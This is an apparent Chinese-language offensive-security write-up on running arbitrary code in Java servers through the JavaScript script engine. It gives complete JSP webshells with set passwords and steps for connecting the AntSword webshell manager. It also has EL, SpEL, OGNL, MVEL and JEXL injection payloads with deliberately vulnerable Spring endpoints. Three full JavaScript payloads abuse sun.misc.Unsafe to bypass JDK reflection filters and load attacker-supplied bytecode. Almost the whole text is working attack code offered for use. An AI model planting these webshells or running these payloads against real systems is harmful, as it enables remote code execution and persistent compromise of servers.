JDK 6-14 加载字节码

From CodeExec to JS

jsp 2 js

shell.jsp

<%
     javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
     engine.put("request", request);
     engine.put("response", response);
     engine.eval(request.getParameter("mr6"));

%>

甚至不用绑定request/response对象也可以

<%
    out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));
%>

类型选择jspjs，密码mr6

jsp 2 el (2 js)

<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>

打开蚁剑，jspjs类型，el编码器，一键连接。

EL 2 js

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}

jspjs类型，选择el编码器，一键连接

Spel 2 js

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)}

springboot设置一个测试环境，以spel为例

@RequestMapping("/spel")
public String eval(String spel){
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(spel);
    return expression.getValue().toString();
}

蚁剑选择spelbase64编码器可一键连接

Ognl 2 js

(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(code)

漏洞环境

@RequestMapping("/ognl")
public String eval(String str) throws Exception {
    OgnlContext context = new OgnlContext();
    Object ognl = Ognl.parseExpression(str);
    Object value = Ognl.getValue(ognl, context, context.getRoot());
    return value.toString();
}

选择ognl编码器，一键连接

Mvel 2 js

new javax.script.ScriptEngineManager().getEngineByName("js").eval(code);

Jexl 2 js

''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(code)

From JS to defineClass

all.js

适用范围：jdk6-14

var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
unsafe = theUnsafeMethod.get(null);

function bypass() {
    var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
    var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
    var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);

    var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

    if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
        unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
    }
    var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
    var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
    var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
    unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
}

function Base64DecodeToByte(str) {
    var bt;
    try {
        bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
    } catch (e) {
        bt = java.util.Base64.getDecoder().decode(str);
    }
    return bt;
}

function defineClass(classBytes) {
    try {
        unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();
    } catch (e) {
        bypass()
        var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
            "defineClass",
            java.lang.Class.forName("[B"),
            java.lang.Integer.TYPE,
            java.lang.Integer.TYPE
        );
        var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
        unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
        var cc = defineClassMethod.invoke(
            java.lang.Thread.currentThread().getContextClassLoader(),
            classBytes,
            0,
            classBytes.length
        );
        cc.newInstance();
    }
}
defineClass(Base64DecodeToByte(code));

defineAnonymousClass.js

适用范围：JDK6-14

function Base64DecodeToByte(str) {
    var bt;
    try {
        bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
    } catch (e) {
        bt = java.util.Base64.getDecoder().decode(str);
    }
    return bt;
}

function defineClass(classBytes) {
    var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
    theUnsafe.setAccessible(true);
    unsafe = theUnsafe.get(null);
    unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();
}

defineClass(Base64DecodeToByte(code));

goby.js

适用范围：JDK6-14

try {
    load("nashorn:mozilla_compat.js");
} catch (e) {
}

function getUnsafe() {
    var theUnsafeMethod =
        java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
    theUnsafeMethod.setAccessible(true);
    return theUnsafeMethod.get(null);
}

function removeClassCache(clazz) {
    var unsafe = getUnsafe();
    var clazzAnonymousClass = unsafe.defineAnonymousClass(
        clazz,
        java.lang.Class.forName("java.lang.Class")
            .getResourceAsStream("Class.class")
            .readAllBytes(),
        null
    );
    var reflectionDataField =
        clazzAnonymousClass.getDeclaredField("reflectionData");
    unsafe.putObject(clazz, unsafe.objectFieldOffset(reflectionDataField), null);
}

function bypassReflectionFilter() {
    var reflectionClass;
    try {
        reflectionClass = java.lang.Class.forName(
            "jdk.internal.reflect.Reflection"
        );
    } catch (error) {
        reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
    }
    var unsafe = getUnsafe();
    var classBuffer = reflectionClass
        .getResourceAsStream("Reflection.class")
        .readAllBytes();
    var reflectionAnonymousClass = unsafe.defineAnonymousClass(
        reflectionClass,
        classBuffer,
        null
    );
    var fieldFilterMapField =
        reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
    var methodFilterMapField =
        reflectionAnonymousClass.getDeclaredField("methodFilterMap");
    if (
        fieldFilterMapField
            .getType()
            .isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
    ) {
        unsafe.putObject(
            reflectionClass,
            unsafe.staticFieldOffset(fieldFilterMapField),
            java.lang.Class.forName("java.util.HashMap")
                .getConstructor()
                .newInstance()
        );
    }
    if (
        methodFilterMapField
            .getType()
            .isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
    ) {
        unsafe.putObject(
            reflectionClass,
            unsafe.staticFieldOffset(methodFilterMapField),
            java.lang.Class.forName("java.util.HashMap")
                .getConstructor()
                .newInstance()
        );
    }
    removeClassCache(java.lang.Class.forName("java.lang.Class"));
}

function setAccessible(accessibleObject) {
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName(
        "java.lang.reflect.AccessibleObject"
    ).getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}

function defineClass(bytes) {
    var clz = null;
    var version = java.lang.System.getProperty("java.version");
    var unsafe = getUnsafe();
    var classLoader = new java.net.URLClassLoader(
        java.lang.reflect.Array.newInstance(
            java.lang.Class.forName("java.net.URL"),
            0
        )
    );
    try {
        if (version.split(".")[0] >= 11) {
            bypassReflectionFilter();
            defineClassMethod = java.lang.Class.forName(
                "java.lang.ClassLoader"
            ).getDeclaredMethod(
                "defineClass",
                java.lang.Class.forName("[B"),
                java.lang.Integer.TYPE,
                java.lang.Integer.TYPE
            );
            setAccessible(defineClassMethod);
            clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
        } else {
            var protectionDomain = new java.security.ProtectionDomain(
                new java.security.CodeSource(
                    null,
                    java.lang.reflect.Array.newInstance(
                        java.lang.Class.forName("java.security.cert.Certificate"),
                        0
                    )
                ),
                null,
                classLoader,
                []
            );
            clz = unsafe.defineClass(
                null,
                bytes,
                0,
                bytes.length,
                classLoader,
                protectionDomain
            );
        }
    } catch (error) {
        error.printStackTrace();
    } finally {
        return clz;
    }
}

function base64DecodeToByte(str) {
    var bt;
    try {
        bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
    } catch (e) {
        bt = java.lang.Class.forName("java.util.Base64").newInstance().getDecoder().decode(str);
    }
    return bt;
}
clz = defineClass(base64DecodeToByte(code));
clz.newInstance();

Reference

https://github.com/yzddmr6/Java-Js-Engine-Payloads